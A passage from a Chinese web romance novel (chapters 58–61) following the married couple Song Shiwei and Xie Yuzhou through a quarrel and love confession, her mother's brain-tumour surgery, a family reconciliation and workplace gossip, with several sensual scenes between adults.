这股气压与黑色的汽车融为一体,将宋时微笼罩,她没有醉得不省人事,有一点点晕罢了。 被迫靠在谢屿舟的怀里,男人劲瘦的手臂箍住她。 宋时微仰起头,借着昏暗的灯光打量,男人下颌紧抿,像淬了寒冰似的。 她将头转向窗外,南城街头充满了烟火气,小摊小贩出来营业,点缀了单调的夜晚。 下晚自习的少男少女,回头看身后的人走到了哪里。 这一幕场景触动宋时微的心弦,她主动问:“谢屿舟,你怎么了?” “没什么。” 谢屿舟放下挡板,捏住她的下巴,吻了上去,完全始料不及。 车子开了多长时间,他们吻了多长时间。 男人骨子里的不满发泄在这个吻中。 到达臻悦府地下车库,谢屿舟攥紧宋时微的手。 打开大门,两只猫咪在房间里睡着,摁开四周的筒灯,与之而来的是谢屿舟掐住她的腰。 “头疼。”宋时微本来清醒了点,由于吻,头疼加剧。 谢屿舟不得不停下,从上柜中找出解酒茶,泡在杯子里,“不能喝还喝。” 宋时微亦步亦趋跟在他身后,“谁让你来的,本来不用喝的。” 她尽力去缓和两人晚上的别扭。 谢屿舟幽幽道:“我不来还听不到谢太太‘精彩’的回答呢。” 他阴阳怪气的语调,戳到宋时微,她笑着回怼过去,“谢总不满意‘没谈过’的这个答案吗?我可以改,改成一夜情、py、床搭子,你喜欢哪个?” “满意,满意得很,不用改。” 男人宽大的手掌钳住她的下巴,冷声又问了一次,“你真是这么想的?” 四目相视,深邃的眼眸与清冷的眸光撞到一起,下巴传来痛感。 宋时微甩不掉他的手,扬起声调倔强说:“本来就没谈过,你说过你喜欢我吗?你说过让我做你女朋友吗?都没有,你有什么不满意的?你凭什么凶我?” 她都没觉得委屈呢,她都主动约他去楼上,结果他到房间不主动,好像被她胁迫似的。 “宋时微,你……”谢屿舟被她说的话气到,俯下身咬上她的唇瓣。 是咬,不是亲。 四片唇瓣纠缠之下,贝齿参与,不是生疏,是较劲,牙齿磕到咬到彼此唇瓣。 宋时微的腰抵在吧台边缘,被粗粝指腹捏住的下巴,似乎要碎了。 谢屿舟摁住她的后颈,向他怀里压,几近窒息,也不停下。 胸腔内所有的氧气被他吞噬殆尽。 不得已,宋时微重重咬下他的唇角。 瞬间,血腥气在口腔中蔓延。 谢屿舟吃痛,扔不愿放过她,用被咬破的唇去亲她吻她。 手从衬衫下摆钻进去,使劲…… 现在哪里是接吻,分明就是打架。 宋时微得以喘息之际,狠狠瞪向他,“你放开我。” 她伸出腿! 踢他,用手捶他的背,用自己最大的力道,谢屿舟在失控之前停下。 两个人鼻息交融,趴在对方的肩膀气喘吁吁呼气。 宋时微扭头看到男人的嘴唇渗出斑驳血迹,“活该。” 她活动活动即将要断的下巴。 谢屿舟却打横抱起她,扔在沙发上,上手扯掉她的衣服。 宋时微睇向他,“又想直接进去,随便随便,反正也不是第一回。” 谢屿舟居高临下看着她,霎时停下,“你不让我做,我就不做。” 宋时微冷笑道:“是吗?你会听我的吗?” 筒灯发出暖黄色的光,本是温暖人心的颜色,现在完全没有旖旎的气氛。 谢屿舟拉上她的衬衫塞到裙子里,“会。” 宋时微:“结婚到现在你根本不会,只会趁我不备放进去,夫妻间义务算了,你口口声声说我睡了你,我都没说是你睡我,是,第一回是我主动的,后面的每一次,都是你做不够,我做你一次,你做我多少次。” 她越说越委屈,吸了吸鼻头,不让眼泪掉下来,“你情我愿的事,你有什么不满的?” 他们的心跳连在一起,窗户开启,送来了晚风。 没有暧昧,只剩下剑拔弩张。 心里被石头堵住、被酸橘填满,宋时微:“还是谢总觉得睡过就是男女朋友了?” 谢屿舟不答反问:“难道不是吗?” 不是男女朋友为什么会做/爱,不喜欢为什么会做? 宋时微挽了一个冷笑,“那真是不好意思了,我们认知有误差,在我这表白才算。” 谢屿舟定定看着她,锁住她的眼睛,质问她,“你敢说你一点都不喜欢我吗?” 宋时微口是心非,“不喜欢,一点都不喜欢,七年前不喜欢,现在也不喜欢。” 凭什么让她先说,凭什么一直问她,他都没说过,一次都没有。 客厅陡然安静下来,谢屿舟听到宋时微的话,不再言语。 诡异的沉默,时间一分一秒溜走,只能听见彼此的心跳声。 “咚咚咚”,同频跳动。 窗外雷声大作,急速的风吹进室内,豆大的雨点打在落地窗上,模糊了玻璃。 须臾,谢屿舟趴在宋时微的颈窝里,薄唇贴住,温热的气息洒在皮肤上。 男人的手臂撑起来,黑眸温柔注视怀里的人,逐字逐句认真说:“可是,时时,我喜欢你。” 宋时微:“啊?”不知怎地,她的眼睛里蒙上一层朦胧潮湿的雾气。 她抬起手臂搂住谢屿舟的脖子,借力主动吻上谢屿舟的嘴唇。 这一次,是轻柔的吻。 整晚的吵架由谢屿舟的表白结束,来之不易,等待七年的喜欢。 宋时微的眼泪不受控地从眼角滑落,她不可能感受不出来他对她的感情。 他和其他富二代不一样,身边没有任何暧昧对象。 有一次她撞见有个女生找他,两人说说笑笑,看着很是般配。 她吃醋 、嫉妒,! 在他面前才会产生的自卑心理驱使她冷落他。 后来,谢屿舟找到她,认认真真和她解释。 宋时微明白他会害怕会紧张,似乎很喜欢她,又不敢相信,因为他们差距太大。 思及此,宋时微伸手去解谢屿舟的腰带,慌慌张张毫无章法,根本解不开。 她勾住他的腰,示意让他来。 谢屿舟抓住她的手,制止她的动作,“你没有什么想对我说的话吗?” 宋时微抬眸看他,“你做不做?” “做。”谢屿舟迅速抽出皮带,搭在沙发椅背上,和领带一起。 两个人同时喟叹一声,男声与女声交织混响。 落地沙发承重能力强,架不住今晚。 宋时微的头碰到沙发边缘,又被男人捞着坐了起来。 天旋地转之间,谢屿舟躺了下去,“时时,你来。” 这种掌握主动权的感觉很爽,宋时微愈发卖力,她能看到谢屿舟每个神情的变化,掌握他的命脉。 谢屿舟夸奖她,“宝宝真棒。” “时时好厉害。” “老婆。” 宋时微在她的sweettalk中渐渐迷失自我,顺着他的话做。 谢屿舟抱着她去主卧的浴室,每走一步艰难曲折。 短短的一节路,宋时微意识涣散,她低头望,裙子还在身上。 在浴室中,她的手被男人扣在玻璃屏风上。 男人蹲了下去,吃下一个冰块。 宋时微仿佛身处冷极,“你什么时候拿的冰块和酒?” 谢屿舟嘴里含了冰块吐字不清,“接下来由我伺候你。” 宋时微扶住玻璃,手向下滑,按在谢屿舟的肩膀,才没有倒下去。 谢屿舟站起来问她,“要尝尝吗?” 第 59 章 第59章 谢屿舟没有回复宋时微,许是在开会,她顾不上这么多,跑着去登机。 为了能早一点到临港,她买的卡点飞机票。 :.】 宋时微坐上飞机,手机剩下几格电,她不敢再玩,选择了关机。 飞机起飞,她 的心跟着高悬,飘在半空中,落不到实处。 她很怕,怕妈妈有什么事,焦虑地盯着窗外的云朵。 谢屿舟这一场会议开得实在漫长,全程没有看手机,会议结束时,窗外的天已黑透。 时间接近晚上八点。 男人的身体向后靠了靠,捏了捏鼻根,眉眼间透出疲惫。 孟新允小心翼翼汇报,“老板,会议纪要发您邮箱了。” 临近年中,各项工作紧张复盘中,肉眼可见老板这几天心情不佳,工作更得小心。 谢屿舟淡淡挥手,“好,你下班吧。” 他独自坐在办公室里,耳边无任何多余的声音,在静谧的夜里,似乎想通了什么事。 男人旋即站起身,捞起外套离开公司。 在急速下坠的电梯中,谢屿舟终于看到宋时微下午发的消息。 男人回拨电话,眉峰紧皱,听筒里只剩下机械的女声。 此时距离宋时微发消息的时间,过了4个小时有余,她许是抵达临港。 谢屿舟当即给孟新允打电话,交代后面几天的工作,“本周剩余的会议你来主持。” 孟新允:“好的,谢总。” 老板的吩咐听从就好,打工人不过问其他。 谢屿舟迅速定好前往临港的机票,简单收拾几件衣物,直奔机场。 他给宋时微发条信息,【我在飞机上,马上到。】 宋时微此刻正在病房中照顾妈妈,经过救治,妈妈已经清醒过来。 她无暇看手机,尚没有从后怕中缓和过来。 刚到医院,看到妈妈安然无恙的那一刻,她悬着的心落下去一点点,手一直抖个不停,久久才恢复平静。 葛书韵半靠在床头,“一个低血糖她们大惊小怪,你说你跑回来干嘛?” 宋时微不信她的说辞,“配合检查,这次一定要做个全身体检。” “行,屿舟呢?” 葛书韵答应女儿的请求,看了看她的身后,的确没有看到女婿的身影。 宋时微眉心微动,解释道:“他开会走不开,年中会议很重要,集团董事都要参加。” 即使两个人在吵架冷战中,她下意识仍相信谢屿舟,知道他不是故意不回的人。 只是这场会开的时间太久了,手机安静得可怖。 葛书韵没有看出女儿异样的神情,“对,你和他说一声,说我没什么大碍。” 宋时微帮妈妈掖好被子,“好,你睡吧,有什么话明天再说。” 病房里还有其他病人,不能影响别人休息。 宋时微轻手轻脚离开病房,到走廊准备打电话,才发现手机一直没有开机。 一路太! 过着急,打车也用的现金,没有想到这个意外,难怪没听见手机的响声。 宋时微给谢屿舟回消息,【好,我妈醒了,我明天带她做个全身检查,看看后续情况。】 【我在第一人民医院。】她附上了地址。 对面的人没有回复,有的飞机没有信号,不能接收信息。 手机电量告急,不足5%,她走回病房,蹲在床头给手机充电,等谢屿舟的消息。 终于,在零点到来之前,接到了男人的电话。 宋时微抢在谢屿舟前面开口,超小声说:“你等我一下,我现在下来。” 她疾步快走,奔到住院部一楼。 现在非特殊时期,管理没有那么严格,大门敞开。 果然,宋时微远远看到与夜色融为一体的男人,正注视着她的方向。 昏暗的夜里,仅靠远处的路灯照明,她看不清他的表情和眼神,但没有犹豫,抬起腿向他跑去。 谢屿舟在宋时微跑向他的时候,同时跑向她,伸手将她搂在怀里。 男人的手掌抚拍她的后背,轻柔的一下两下。 “时时,我来了。” 宋时微紧紧抱住他,鼻头泛酸,“谢屿舟,我好害怕。” 晚上店里的阿姨回去了,妈妈身边只有她一个人,她必须要坚强,不能流露脆弱的一面。 可是,她会害怕,妈妈是她在世上为数不多的亲人。 谢屿舟安慰她,“会没事的,不怕不怕,我陪着你。” 宋时微的情绪发泄出来,缓和沉重的心情,倏然,瞥见地上的行李,被主人孤零零丢弃,“你的东西掉了。” 谢屿舟:“不用管。” 半夜的住院部没有来来往往的人群,两个人在门口抱着终归不像话。 宋时微挠挠鬓角,“我要上去了,你回家睡觉,密码地址你知道。” 谢屿舟不愿松开她,“再抱一会。” 大约过了一刻钟,宋时微出声催促他,“差不多了吧。” 谢屿舟转而牵住她的手,“时时,我还没吃晚饭。” 宋时微:“哦,那我带你去吃饭。” 其实,她也没来得及吃晚饭。 医院不远处有一条美食街,饭店基本营业到下半夜,随便找了一家馆子坐下。 宋时微点了两碗米粉,拿纸擦拭桌子,“会耽误你的工作吗?” 谢屿舟:“有职业经理人,什么都需要我处理,雇他们干嘛?” 他转而问:“妈怎么了?” 宋时微:“还不知道是什么问题,拍了片子明天结果才能出来。” 老板端上来两碗米粉,谢屿舟推到她的面前,“先吃饭吧。” 团建聚会过去接近一周,这是他们最平和的一次谈话,之前没有争吵,却是比争吵更可怕的无言和冷战。 许是都饿了,两个人安安静静吃完了米粉。 谢屿舟擦擦嘴巴,“我送你过去。” 宋时微点点头,“你知道怎么走吧?我把家里地址发你。” ! “知道。” 谢屿舟:“你早上想吃什么,我带过来。” 宋时微想了想,“我想吃米粉。” 临港和南城不太一样,下半夜街道两旁聚满吃夜宵的人。 他们手牵手沿着小道朝医院走。 宋时微的手被谢屿舟攥在手心里,感觉到心安,她习惯了一个人扛一个人承受,有个人一起分担,似乎也不错。 在住院部楼下,谢屿舟塞给宋时微一个充满电的充电宝,“上去吧。” 宋时微一步一回头,男人站在原地始终看着她,她撇撇手,“谢屿舟,你快回去吧。” 谢屿舟轻声说:“你上去我就走。” 幸好普通病房管理不严格,半夜登记下就可以进出。 翌日一大早,葛书韵看到谢屿舟,催宋时微,“微微,你和屿舟回去上班吧,妈挺好的,肯定没什么事。” 宋时微板着脸,“结果不出来,我是不会走的。” 葛书韵小声问女儿,“你和屿舟吵架了?”这次回来,两个人的状态不像从前,别别扭扭。 宋时微顿了一下,“没有,你不要胡思乱想。” 葛书韵苦口婆心说:“夫妻没有不吵架的,我的婚姻是失败的,给不了你什么建议,而且每对夫妻的路都不一样,有一点想告诉你,遇到事情心平气和坐下来聊一聊,你不开口他也不开口,怎么解决问题呢。” 宋时微收拾米粉盒子,“真没有,你好好休息,我去看看医生怎么说?” 葛书韵:“不管什么,好的坏的都不许瞒我。” “好。” 宋时微和谢屿舟一起走进医生办公室,办公桌旁边放着ct单。 医生指了指片子左边的位置,“这里长了一个肿瘤,压迫到神经,所以才会晕倒,建议早点做手术,越长越大,担心压到其他神经。” 这个结果,比宋时微预料得好一些,但她的身体不禁晃了一下,被谢屿舟接住,“好的,谢谢医生,手术什么时候可以做?” 医生:“最近都可以,还可以保守治疗,用药物控制肿瘤生长的速度,先回去和病人沟通清楚。” 宋时微:“哦,好。” 在他们谈完话后,一旁的谢屿舟开口:“医生,ct单我们可以拿走吗?” 医生:“可以的。” 谢屿舟当即拍下照片发给赵季同,请他帮忙找人看看。 没有十分钟,赵季同发过来他的看法。 宋时微的手是冰凉的,只是比最坏的打算好一点,可还是肿瘤,还长在脑子里。 谢屿舟牵着她走到楼梯口,把手机递给她,“我把ct发给赵季同,他的判断和孙医生类似,他说他认识一个主任,是治疗这个病的专家,可以拜托他主刀。” 宋时微深呼吸一口气,“我知道了,我说服我妈回南城。” 她不能倒,现在妈妈只有她。 ‘会没事的’、‘做了手术没什么问题’这类安慰的话显得苍白,谢屿舟转述专业医生的话,给她一些宽慰,“赵季同说 ,切掉复! 发的可能性小,不算疑难杂症,发现得及时。” 宋时微被谢屿舟搂在怀里,她说:“谢谢你。” 谢屿舟:“你去和妈说,越早做手术越好,我会一直陪着你。” 他给宋时微和妈妈独处的空间。 宋时微拉上两张病床之间的帘子,踟蹰半晌,尽量用轻松点的口吻说:“妈,需要做个小手术。” 葛书韵:“好的,什么时候做?”人活到半百,早已看开。 话到嘴边,宋时微艰难开口,“可能要回南城做,你知道的,临港和南城的医疗水平没法比。” 葛书韵立刻同意,“我和你们回去。” 比宋时微想得迅速,原以为要拉扯一会,结果妈妈答应了。 说服了妈妈,宋时微帮妈妈办理出院手续,谢屿舟着手联系南城的医院,沟通住院和手术时间。 手术宜早不宜迟,当天下午回家收拾衣服,晚上的飞机回南城。 宋时微在主卧收拾妈妈的行李,她尝试询问葛书韵,“妈,你和我回南城住吧,好不好?” 临港不是她们的家,过去了这么多年,该放下了。 葛书韵:“算了,微微。” 她可以回去做手术,但不会住在南城。 宋时微不愿放弃,“我给你租个房子,不花谢屿舟的钱。” 临港和南城相隔千里,她放心不下妈妈。 葛书韵微笑说:“微微你知道的,妈不想回去住,不想面对,总觉得欠了别人什么。” 宋时微扭过头,直视妈妈的眼睛,压低声音说:“妈,我们有错吗?我们没有!我们做得足够多了,如果是在不知道的情况下,我们花了他骗过来的钱,七年我们还完了,一分不差含利息的还清。” 钱不是她们借的,有些借款没有实质性证据,她们也还了。 没有道德底线,或许会活得轻松点。 她们做不到,那是别人的血汗钱,不还良心上过不去。 宋时微的音调不高,却能感受到她难过的情绪,“如果是我告诉警察的那些话,这件事我更没做错,和你也没有关系,你不用愧疚。” “外婆的事我和你一样难过,谁都不想发生。”这是压在妈妈头上最难过的一件事。 宋时微握紧妈妈的手,“妈,我只有你了。” 第 60 章 第60章 宋时微的手指绞着衣服,不确定又问一声,“你是没听见吗?” 谢屿舟的思绪被这句话拉回,刚刚不是幻听,是真实存在的表白。 男人佯装困惑,“没听见,时时,你说话了吗?我刚在和赵季同说事情。” 主卧的门紧闭,书房紧挨着卧室,安静地能够听见彼此的呼吸和心跳声。 以及偶尔传来的回声,震动着墙面。 谢屿舟没有回答宋时微的话,眉心微蹙,眼神停在她的身上,来回逡巡打量。 宋时微皱眉看着他的眼睛,细细辨别其中的含义,平淡无波,一闪而过的细微变动好似是她的错觉,他看起来不像在说谎。 她果断撒开了手,“没听见算了。” 原本表白对她来说就是极难说出口,过了特定的时间、特定的心境,再说不出来。 谢屿舟拽住她的手腕,困在怀里,额头相抵,“宋时微,你是不是故意的?” 另一只手扣住她的后颈,不让她的眼睛乱瞟,不让她挣脱束缚。 宋时微装傻,“什么意思?” 谢屿舟薄唇轻启,“故意选今天。” 由于妈妈的病,这段时间不可能有多余的精力做亲密的事,更不合适。 宋时微歪头笑着拆穿他,“你都听见了,还装不知道,谢总挺会装啊。” 谢屿舟轻轻吻了她的额头,“毕竟这是稀奇事,确定一下不过分吧。” “不过分。” 四目相视之下,眼神对撞,没有欲望和争执,只剩下简单的内心剖析,宋时微由衷说:“谢屿舟,谢谢你。” 谢屿舟强调,“时时,我要的不是‘感谢’的喜欢。” 宋时微清眸坚定,摇摇头说:“不是,是一直。” 谢屿舟疑惑问:“一直是多久?什么时候开始?” 宋时微嘟囔,“一直就是一直啊。” 谢屿舟不和她纠结这 个问题,来日方长,有的是时间套她的话,“早点睡。” “好。” 熄灭主卧的顶灯,忙碌了一整天,打包行李、坐飞机从临港飞回南城,宋时微躺在床上却没有一丝困意。 满脑子都在想肿瘤手术的事情,这算一个大手术,她遇到事情会往坏处想,越想越吓自己。 焦虑地更加睡不着,忍不住翻来覆去。 枕边人的动静,谢屿舟自然能够察觉出来,他伸长手臂,将宋时微搂在怀里,“睡不着说说话。” 宋时微担心问道:“赵医生怎么说?什么时候可以做手术?” 谢屿舟拍拍她的后背给她安慰,“后天办理入院,术前检查如果没问题的话,最迟大后天就可以做手术。” 他思考数秒,补充说:“别怕,一定会没事的,主任是行业里的专家,他亲自主刀。” “嗯,好。” 宋时微和他聊了几句其他的事情,没有固定话题,想到哪说到哪。 从同学聊到同事的八卦,原本就不困,现在更清醒。 ! 谢屿舟啄了下她的唇,“我哄你睡觉,妈需要你,你不能累倒了。” 宋时微今晚如同喝了浓缩咖啡一般,格外清醒,“怎么哄?不会是做/爱吧。” 谢屿舟:……“我还不至于这么没良心吧。” “你先闭上眼睛,不要说话,不要想乱七八糟的事。” 宋时微乖乖听从他的指挥,阖上双眼。 不多时,耳畔传来娓娓动听的歌声,在静谧的深夜,低沉磁性的嗓音似山涧汩汩流动的溪水,沁人心脾。 “whereveryougo ihopeyouwouldknow iwillbestandingrighthere waitingforyou” (无论你去往何处,我都愿你能够明了,我会时刻伫足在此,等你) 是一首简单的英文歌,旋律温馨轻柔,宋时微听懂了最后三个单词的意思。 等你。 等你,不知是不是意有所指。 在谢屿舟歌声和手掌的安抚下,她困意来袭。 翌日清晨,宋时微梦见自己踩空了楼梯,猛然惊醒,摸摸旁边的床铺,没有人。 她急忙踏上拖鞋跑出去,谢屿舟从书房看到她的身影,站起来喊住她,“你醒了?” 宋时微问:“我妈呢?”在梦里都是噩梦,梦到她摔了下去,梦到妈妈出事,梦到和谢屿舟分开。 没有一个好征兆。 谢屿舟牵着她去洗漱,“妈和君姨去菜市场了,有陈叔跟着,不会有事的。” “好,出去走走也好。”出去散散心换种心情,另外一方面,说明妈妈不排斥南城了。 宋时微瞥见书房的电脑,“你这几天不忙吗?不用去公司吗?” 他和她不一样,她是普通员工,可以替代的角色,谢屿舟是掌舵人,大事小情由他做决定。 谢屿舟拿起牙膏,“公司离了我也能转,他们不能白拿工资。” 宋时微接过挤好牙膏的牙刷,“我离了你也能转。” 谢屿舟拢起她掉落的头发,“是我想陪你。” “谢总你怎么有点黏人。”宋时微擦掉脸上的水珠,毫不留情吐槽。 谢屿舟为自己辩驳,“那你是没见过池砚舟的样子,他现在恨不得24小时跟着沈栀意。” 宋时微八卦问:“离了吗?” 谢屿舟:“不知道。”他不在意池砚舟离不离,现在已经陷进去了,十有八九离不成功。 说话间,葛书韵和君姨逛超市回来,听声音心情不错。 葛书韵:“南城变化真大,以前那里是棉纺厂,拆掉盖小区,现在又是大商场了。” 君姨:“可不嘛,以前市政府那里都是农田,现在听说房价几十万一平哦,拆迁的人都发了财了。” 葛书韵感叹,“各人有各人的命。” 君姨宽慰她,“你也很好,有失必有得。” “妈、君姨,中午吃什么?”宋时微口吻轻松,不想加重妈妈的心里负担。! 葛书韵:“你俩怎么都不去公司?” 为人父母,不想给子女造成困扰,现在工作不容易。 宋时微咬下一口三明治,“最近不忙,我休年假,老板不在意我。” 谢屿舟挽起袖口,给猫喂食,“我居家办公。” 而为人子女,父母生病时又怎么能安心上班呢。 午饭结束,谢屿舟去书房开会,公司有孟新允把关,但遇到大事需要他做决定,会议也要参加。 长时间不出现在公司,会传出风言风语。 葛书韵和女儿在客厅看剧,思考再三终开口,“微微约你小姨见一面吧。” 宋时微同意,“好,我来打电话。” 她知道妈妈的顾虑,担心明天在手术台上下不来,不想留下遗憾。 宋时微拨出去小姨的电话,开门见山问:“小姨,你晚上有时间吗?我想和你聊聊天。” 葛书清的声音透出惊喜,“有的有的,你要是不嫌弃,来小姨家,小姨做饭给你吃,你小姨夫带云云去她姑姑家玩了,放心来。” 宋时微用眼神征求妈妈的意见,“好,小姨你把地址给我。” 她们晚上要去小姨家的事不会瞒着谢屿舟,谢屿舟只说:“结束打电话给我,我去接你和妈。” 他很想去,想知道更多细节,但他在不合适,把她们送到了小区门口便离开。 葛书清搬离了原来居住的老小区,换到了同地段的新小区。 循着她给的地址,宋时微叩响了701的房门。 “咚咚咚。” 在等待开门的一分钟内,她和妈妈两个人不约而同紧张起来,八年的时间,改变了许多事情。 尤其是面对曾经最亲的人。 “微微你来了。”葛书清打开大门,眼睛停在宋时微旁边站着的人身上,瞬间愣住。 八年不见,一眼认出姐姐,眼泪‘唰’一下流了下来,完全不受控制。 葛书清抱住葛书韵,哽咽着喊:“姐,你终于回来了”。 好像还是从小到大跟在姐姐身后的小孩,忘了年纪和岁月。 她在玄关柜上抽出纸巾,擦掉姐姐的眼泪,“快进屋快进屋。” 给她们倒茶,由于太过紧张,水洒在了桌子上,“你们喝茶,还有一道菜就可以吃饭了。” 宋时微看着餐桌上满满的一大桌子菜,“小姨,你别做了,够我们吃了。” 葛书清:“不多不多,就家常菜。” 她关闭厨房的门,躲在里面哭了好久,当初如果不是她口不择言,她们两姐妹也不会分开这么久。 宋时微和葛书韵在客厅拘谨坐着,电视柜的开放格里放着小姨和妈妈外婆的合影,照片微微泛黄,想来摆了很长时间。 以前来小姨家和自己家一样,哪里会像这样局促。 新房子比之前的老小区好很多,宽敞明亮。 三个人面对面坐下,谁都没有动筷子,宋时微率先打破僵局,“小姨,你送我的首饰我看到了,让你破费了。” 葛书清! 怕她还回来才悄悄送的,“你结婚了,小姨不知道没去参加。” 宋时微:“婚结得匆忙,还没来得及办婚礼,如果确定时间,一定告诉你。” “好。”葛书清招呼她们,“你们吃菜,看合不合胃口?” 宋时微夹了一块排骨,“好吃。” 葛书清没有胃口,几乎不夹菜,“姐这次回来还走吗?” 葛书韵: “走的,我就是回来看看微微,也来看看你。” “姐,你怎么还要走啊?” 葛书清忍不住,再次哽咽道:“姐,从前是我对不起你,我不该说让你难过的话,妈去世也不是你造成的,我当时气昏了头。” 葛书韵摸摸妹妹的头,“姐没怨过你,你们的钱因为我没了,生气很正常。” 当初因为信任,妹妹把钱借给宋振华,结果几十万块打水漂,妈妈得知此事后,突发心脏病没来得及救治就走了,钱和亲人消失在眼前,任谁都会失控。 葛书韵又安抚妹妹,“我走不是因为你,我那边还开着店,离不开人。” 宋时微适时插话,“对,小姨,你有机会可以去玩玩。” “好吧,真不回来吗?微微都在这里。”葛书清从小最依赖姐姐,时间可以淡忘过去,会在见面的这一刻,尽数回笼。 “以后有机会。”葛书韵没有把话说死。 两姐妹说了许多心里话,这些年过得怎么样,钱怎么还上的,听完只有心疼。 除了进去的那个人,姐姐和外甥女也是受害者。 为了收拾他留下的烂摊子,受了多少罪多少委屈,葛书清不敢问,怎么瘦了那么多。 谢屿舟在小区门口,看到老婆和丈母娘红了的双眼,早有预料。 通过调查,大致拼凑出事情的完整面貌,宋振华借的钱多数来自亲朋好友,他是进去了,母女俩孤立无援被众人指责,选择离开。 她们良心上过不去,一笔一笔还清所有的债务。 连本带利,光靠她们两个人。 谢屿舟关闭主卧的门,抱紧宋时微,“时时,都过去了。” 宋时微趴在他怀里,小声说:“你为什么现在都不问我了?” 谢屿舟吻掉她的眼泪,心疼道:“因为不重要了。” 现在她在他身边,才是最重要的事,其他的过往,就过去吧。 “好了,洗个澡早点睡,妈明天还需要我们。” 第二天一早,葛书韵在女儿女婿的陪同下,办理了住院,谢屿舟托关系,约到一间单人病房。 第 61 章 第61章 宋时微没防守住,现在的她和剥了壳的荔枝没什么区别,完全攀附在他的身上。 在白色顶灯的照射下,皮肤愈发透亮白皙,乌黑长发散落,垂在肩颈两侧。 她嗔怒道:“谢屿舟,我妈还在隔壁。” 谢屿舟提前放满了浴缸的水,波光粼粼的水面,飘着浅浅的波浪,时不时溢出到缸外。 住进来一年有余,宋时微没使用过浴缸,现在明显有些人蓄谋已久。 放这么多水,需要花费不少时间。 男人有理有据,扯掉领带,丢在洗手台上,贴到宋时微的耳边,“放心,隔音很好。” 宋时微当然知道豪宅对隐私的重视,从建筑到装修,材料上极其讲究,不像住在其他小区,楼上吵架楼下听得清清楚楚。 她被放进浴缸中,水没过小腿肚,脸上沁满水珠。 长条形的单人尺寸浴缸,一下来了两个人,水面摇曳,溅到了地面。 谢屿舟躺下,做人形地垫,宋时微趴在他的身上,手垫在胸膛,漂亮的眼眸来回打量他。 “看什么?” 宋时微的手指从喉结滑下来,扬起唇角,“稀奇,谢屿舟我们真的结婚了。” 水打湿了男人的眼睛,衬托得格外黑亮。 谢屿舟捉住她的手,放在嘴边亲了两口,嗓音微哑,“先自己放进去,等会再聊天。” 真以为他是柳下惠啊。 “哦。”在水中阻力减少,不费吹灰之力找到位置。 只是哪里还能聊天,完全被情欲占领。 谢屿舟吻上她的天鹅颈,衔在嘴里咬来咬去,她吃痛地睁开迷离的双眼。 “时时是这样的‘欺负’吗?” 宋时微摇摇头,“不是。” 一个多月没有做,陡然撑得慌。 谢屿舟抱着她坐起来,低笑说:“除此之外,没有别的‘欺负’了。” 宋时微的指甲陷入他的手臂,“有吵架。” 谢屿舟纠正她的措辞,“明明你气我更多。”男人咬住她的唇瓣,“口是心非,尤其是这张嘴。” 他舔舐她唇上的牙印,又不舍得咬太狠。 池子里的水温度不降反升,宋时微口干舌燥,不知道额头流的是汗还是溅到的水。 谢屿舟从水中捞起她,在花洒下冲洗干净身体,回房间继续。 男人从后面拥紧她,沉沉发问:“如果妈不愿意留下,你会和她一起走吗?” “不知道。”宋时微的意识渐渐昏沉,说了心里话,“谢屿舟,我不想骗你,我妈的身体我放心不下。” 谢屿舟牵上她的手,牢牢和她十指紧扣,啮咬她的耳垂,“不可以再不告而别。” 男人祈求的声音灌入耳内。 宋时微:“这个不会。”从前不知道怎么处理,下意识做了最差的选择。 谢屿舟又说:“不可以离开。”一步一步得寸进尺。 宋时微:“好。” 男人亲上她的嘴,似乎要将她吞吃入腹,困在! 他的手臂里,不能逃离。 他们就这样一直一直连着,一直一直在一起。 周末,葛书韵的身体修整差不多时,让女儿给她订机票,说明天就回去,不让她们送。 “妈,你真的不能留下吗?又不是住不下。” 葛书韵正在收拾东西,“微微,你和屿舟结婚一起住可以,加上我像什么话,而且店关了那么久,我要回去处理。” 葛书清在一旁劝说,“是啊,姐,微微都回来了。” 最近她经常过来,恢复以前的关系。 葛书韵还是不为所动,“不了,南城太冷,明年开春再过来,好不好?” 宋时微最终拗不过妈妈,下了几条死命令,“那你答应我,不要搬重物,不要太劳累,早餐能不做就不做。” 葛书韵:“好,我听你的。”这一个月她看得明白,谢屿舟对女儿是真心实意,一天可以伪装,一个月很难。 第二天,宋时微看着妈妈进登机口,她趴在谢屿舟的肩膀小声啜泣。 谢屿舟由着她哭,在飞机升至空中时,说:“妈如果看到,实锤我欺负你。” 宋时微嗔他,“闭嘴。” “听老婆的。”谢屿舟说。 两个人手牵手并肩向地下停车场走,宋时微总觉得背后有一束目光,她频频向后望,没看到熟悉的人。 谢屿舟问:“怎么了?” 宋时微皱眉道:“感觉有人跟着我们,不会有同事在吧。” 谢屿舟宽慰她,“拍到了也只会私下讨论,你的工作能力有目共睹。” 宋时微持不同意见,“错,如果拍到了,他们会否定我的所有能力,无论是升职还是加薪,都觉得是靠你得来的,甚至会说,成立智能家居部就是为了我。” 谢屿舟:“我看着是这么昏庸的人吗?花上百万给你玩。” 宋时微:“有可能,毕竟大家喜闻乐见,能编排什么爱情故事,也能满足一些人的心理,为自己的不行找借口,谢总久居高位,自然不明白。” 刚刚心底异样的感觉消失,也许真的是错觉。 谢屿舟的拇指摩挲她手腕的手链,戴了很多很多年,和钱包一样自欺欺人,“不过,南城这么多企业,你偏偏来了寰宇。” 宋时微吐了吐舌头,“那是因为寰宇是第一个给我发offer的,我急着入职。” 谢屿舟试探性问:“如果你提前知道寰宇是我们家的呢。” 宋时微嘴硬道:“当然不会来,等着你拒我还是侮辱我。” 或许是冥冥之中注定,第一个面试第一个录取的公司。 新任总经理欢迎大会恐怕另有隐情,不然怎么会喊她一个新人参加。 —— 由于妈妈的病,宋时微偶尔需要请假,好在没有影响工作。 除了乔言心和孟新允,其他人并不知道她和谢屿舟的关系,工作有条不紊进行。 寰宇的智能家居部经过在上半年的宣传造势,在市场上初步取得了一些成就,积累了口碑和经验。 经过这几个月! 的工作,宋时微升任智能家居部的策划负责人。 她的任命不是由谢屿舟一个人决定,由公司中高层投票表决通过。 寰宇每年两次升职机会,任命书一发,有人表示不满,她才来公司一年多,还是从小策划做起,凭什么是她? 而这是表面的话,私底下说的话更难听。 但凡女生升职一定会造谣私生活,诸如爬上了谁的床和谁有一腿,不然怎么会这么快升职,还说女孩子那么有野心做什么,最终还不是要嫁人生孩子。 传到宋时微耳中,她一笑置之,她又不是人民币,不能让人人都喜欢,只要不舞到她的面前,她尚能忍受。 一个策划负 责人都让他们破防了,如果有一天,她升到副总,不知道又是什么嘴脸。 想想有点期待。 孟新允是总经理助理,同时肩负监督公司舆情之责,流言甚嚣尘上,不得不重视。 “老板,最近有关太太的流言要处理吗?太太她会不会接受不了?” 